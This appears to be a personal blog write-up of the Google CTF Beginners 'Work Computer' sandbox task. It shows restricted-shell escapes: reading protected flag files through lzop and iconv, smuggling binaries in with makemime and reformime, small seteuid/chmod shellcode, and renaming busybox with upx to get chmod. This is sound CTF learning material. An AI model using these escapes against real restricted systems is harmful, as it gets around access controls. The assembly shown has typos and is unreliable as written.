Work Computer Google CTF Beginners Write Up

Aug. 1, 2019, 11:43 p.m.

… or the story what happens when you forget that this supposed to be a simple task. Last weekend I had some time to look into the Google CTF for Beginners. I solved all the task but from one in category “sandbox” which went quite interestingly. Basically, I misread a few stuff and solve it in not standard. Let’s look into my story…

The task was named “Work Computer” and it was the 2nd task in the CTF. In the task, we were given a remote shell to login. After each login we also got a new instance of the machine, so we couldn't create multiple connections to the machine. In this CTF some tasks had one or two flags. This one had two flags. One for simpler task, and second one for more complicated one. After login and checking the content of the directory it turns out that there are two files:
> ls -lah
total 12
drwxrwxrwt2 0    0         80   Jul 29 14:24 .
drwxr-xr-x   20 0    0       4.0K Jun 13 14:28 ..
----------1 1338 1338      33   Jul 29 14:24 ORME.flag
-r--------1 1338 1338      28   Jul 29 14:24 README.flag

Both contain different flags. The README.flag is the flag which gives us an easier solution and the ORME.flag contains the flag for the harder task. I wasn't able to read the content of file. The shell was very limited and didn't have a basic tools.

> head README.flag
error: No such file or directory
> cat README.flag
error: No such file or directory
> tail README.flag
error: No such file or directory

So, I checked the directories as this is where the tools are kept:

> ls /usr/bin
[..]
logger
lsof
lsusb
lzcat
lzma
lzopcat
[...]

The first thing that I noticed was the lzcat tool. This tool allows us to print the content of the archive to the standard output. Unfortunately, it didn’t work for not-archive files.
> lzcat README.flag
lzcat: out of memory

The lzma tool didn’t have the compression options. Fortunately, or unfortunately as later it turns out to be my nail to the coffin, I found another set of tools for compressing and decompressing, lzop and unzlop. The option -c means print to the standard output.
> ls
ORME.flag
README.flag
> lzop README.flag
> ls
ORME.flag
README.flag
README.flag.lzo
> unlzop -c README.flag.lzo
CTF{4ll_D474_5h4ll_B3_Fr33}

Later I noticed that there is also iconv tool which should be used to read the README.flag more conveniently. The second flag was in the ORME.flag. When I first tried to read the file, I found that we don’t have permissions to perform this task, as well there was no chmod tool.
> iconv ORME.flag
iconv: ORME.flag: Permission denied
> ls -lah ORME.flag
----------    1 1338     1338          33 Jul 29 19:41 ORME.flag
> id
uid=0 gid=0 euid=1338 groups=0

It was at the point, where I made my main mistake.When I saw the effective uid and real uid I assumed that this is the case. This is a very popular mistake. Software developers often forgot to change real uid and changed only effective one. This allows attackers to get back to the real UID. I did look to see if there were any set uid binaries, besides the shell - which was set uid to our user id – but, I didn’t find anything interesting.

-r-sr-xr-x 1 1338 1338 19.5K Jun 13 12:48 shell

So, I then did some reading, to if there was a posiblity to change the effective user id from the shell. I did find that it was supposedly possible to do this with gdb, but it wasn’t available in the system. I decided to send the file to the server… We used the archive file to read the contents of the file, so why not use it again?

The archive files save the premises of compressed files. This was looking like an ideal solution because it allows us to send the file with an execution bit. I look around if there is anything that allows me to send encoded binary. This is how I found the iconv, but it wasn’t useful at this point. I tried another approach, which was to send the file. I implement simple script to achive that:
echo "ls"
echo "tar x -J -O"
cat /tmp/asd2.xz
echo "ls"

This script was supposed to:

  • send ls to the server
  • then run tar
  • next print whole file from my machine
  • check if there is still an interactive console.

Unfortunately, for some reason, this didn’t work:
sh a.sh| nc readme.ctfcompetition.com 1337
> ORME.flag
README.flag

After playing around with this approach for some time, I found the coolest application ever - makemime. So, I tested it on the README.flag, but it printed the content of the file with the MIME headers:
> makemime README.flag
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="1736368525-647432774-1792638194"

--1736368525-647432774-1792638194
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: inline; filename="README.flag"
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==
--1736368525-647432774-1792638194--

The content of the file was encoded in base64. I also noticed the “filename” key. I start wondering: does it mean that the unpacker for mime also creates files? I looked on the list of the applications one more time and found reformime. This tool is responsible for parsing MIME encoded messages. So, I then put the generated MIME using the makemime tool and I saw:
> reformime
--1721823412-755143739-736455132--

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="1721823412-755143739-736455132"

--1721823412-755143739-736455132
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: inline; filename="README.flag"
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==
--1721823412-755143739-736455132--reformime: can't open 'README.flag': Permission denied

Perfect! So, I quickly changed the filename key to README2.flag and tried one more time… and the tool hangs. I tried to send EOF (CTRL+D) and nothing happens. When I sent the interrupt signal (CTRL+C) - netcat disconnected. When I log in again I got a new machine. I thought that maybe netcat interrupts the signal instead of sending it further. So I changed the CTRL+C of my terminal to different key combination:
stty intr \^k

Afterward, the shell inside netcat still didn’t interrupt the tool. So, I assumed that the shell doesn't support it. I was then left asking myself, well, what is the solution? It was then that I remembered when I was testing the reformime for the first time I got the console back. I prepared mime in the case where the first mime contains the data I want to create and the second one had README.flag filename, which was invalid because the file exists. Thanks to that I got back the console back.> reformime
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="1721823412-755143739-736455132"
--1721823412-755143739-736455132
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: inline; filename="a.tar"
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==

--1721823412-755143739-736455132--

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="1721823412-755143739-736455132"
--1721823412-755143739-736455132
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: inline; filename="README.flag"
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==

--1721823412-755143739-736455132--reformime: can't open 'README.flag': Permission denied

> ls
4610229350804.5
ORME.flag
README.flag
a.tar

The file a.tar was created, and the execution was interrupted when parsing the README.flag mime. Perfect. Well, what’s next? I was already tired of this task by this point, so I didn’t care. I check the architecture of this machine. It was AMD64. As I didn’t want to play with dynamic linking, and not link everything statically, so I wrote the small shellcode in assembler.
> uname -a
Linux jail-0 4.15.0-1023-gcp #24-Ubuntu SMP Wed Oct 10 13:28:59 UTC 2018 x86_64 Linux

First, my shellcode was only used to pretty simply to check if the change of the euid was working.
[bits 64]

global _start

section .text

_start:
       ; seteuid
        movrax, 105
        mov rdi, 0
        syscall

       ; execve
        xor rsi, rsi
        xor rdx, rdx
        movrdi, id
        push rdx ;null
        push rdi ;id
        mov rsi, rsp
        mov rax, 59 
        syscall

section .data
        id: db “/usr/bin/id", 0 

I build it, archive the file, encoded it with the base64, put in my double mime, and pasted it to the reformime tool. After running it, I discovered that this works perfectly:
> test
uid=0 gid=0 groups=0

Then I ran the shell instead of id. That was a bad idea if you remember the shell is set uid so it reverts back to the 1338 user. Then I tried to run iconv with the UID and EUID set to 0 (the same shellcode but instead of calling id we use iconv), and it didn’t work… I was looking a few times what went wrong but I found nothing. Now I was quite tired of this “simple” task. So instead of doing execve, I just rewrote the assembly code to just change mode of the file:
[bits 64]

global _start

section .text
        ; seteuid
        movrax, 105
        mov rdi, 0
        syscall

        ;chmod
        mov rdi, orme 
        mov rsi, 0x777 
        mov rax, 90

section .data
        orme: db "ORME.flag", 0 

This also didn’t work. At this point I was very surprised, I just change my permission to being root and nothing happens. Finally, I realized that I don’t have to be root to change the permissions of the file that I’m the owner… DUH! So I removed the setuid part and after sending 20 files using reformime, tar, base64 and so on I got the flag:> ls -lah
total 32
drwxrwxrwt    2 0        0            140 Jul 27 20:21 .
drwxr-xr-x   20 0        0           4.0K Jun 13 14:28 ..
-rw-r--r--    1 1338     0             92 Jul 27 20:21 4005707777505.6
-r-xrw-rwt    1 1338     1338          33 Jul 27 20:21 ORME.flag
-r--------    1 1338     1338          28 Jul 27 20:21 README.flag
-rwxr-xr-x    1 1338     0            984 Jul 27 20:21 a.out
-rw-r--r--    1 1338     0          10.0K Jul 27 20:21 a.tar
> iconv ORME.flag
CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}

After solving that I realized… Oh common this was the beginner task, it really supposed to be so complicated? I look into the flag as well: “There is always another way”… How ironic! So I tried to find a different way as well. After a while, I noticed, what over-engineering I did. When you list the files in the /usr/bin directory most of them point to the busybox:
ls -lah /usr/bin
lrwxrwxrwx    1 65534    65534         12 May  9 20:49 cpio -> /bin/busybox

Basically, this means that busybox behaves in a different way depending on the name of the file. I tried to pass the first argument as the chmod but this didn’t work, as well as make a copy of the file.
> busybox chmod
busybox can not be called for alien reasons.
> cp /bin/busybox /tmp/chmod
error: No such file or directory
> mv /bin/busybox /tmp/chmod
error: No such file or directory

However, I’d like to note that a few of the tools don't point to busybox. For example iconv and upx. Is this a hint? Probably. We can use upx to create a new file with a different name. Basically this allows us to rename the file.
> upx -o /tmp/chmod /bin/busybox
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th, 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    796240 ->    451332   56.68%   linux/amd64   chmod

Packed 1 file.
> ls
ORME.flag
README.flag
> ls -lah
total 12
drwxrwxrwt    2 0        0             80 Jul 29 20:34 .
drwxr-xr-x   20 0        0           4.0K Jun 13 14:28 ..
----------    1 1338     1338          33 Jul 29 20:34 ORME.flag
-r--------    1 1338     1338          28 Jul 29 20:34 README.flag
> /tmp/chmod 777 ORME.flag
> ls -lah
total 12
drwxrwxrwt    2 0        0             80 Jul 29 20:34 .
drwxr-xr-x   20 0        0           4.0K Jun 13 14:28 ..
-rwxrwxrwx    1 1338     1338          33 Jul 29 20:34 ORME.flag
-r--------    1 1338     1338          28 Jul 29 20:34 README.flag

This task taught me one thing… and that’s there is always another way. Not only that, it showed me that the “way” is sometimes different than you think. When I saw the euid I was sure that this was the case and the problem to solve. I didn’t realize other facts about this task. For example, the information that I was the owner of the file from the beginning…

So this is my story about my first CTF write up, if you had as much fun as me, please leave me some comments and I will write some more write-ups :)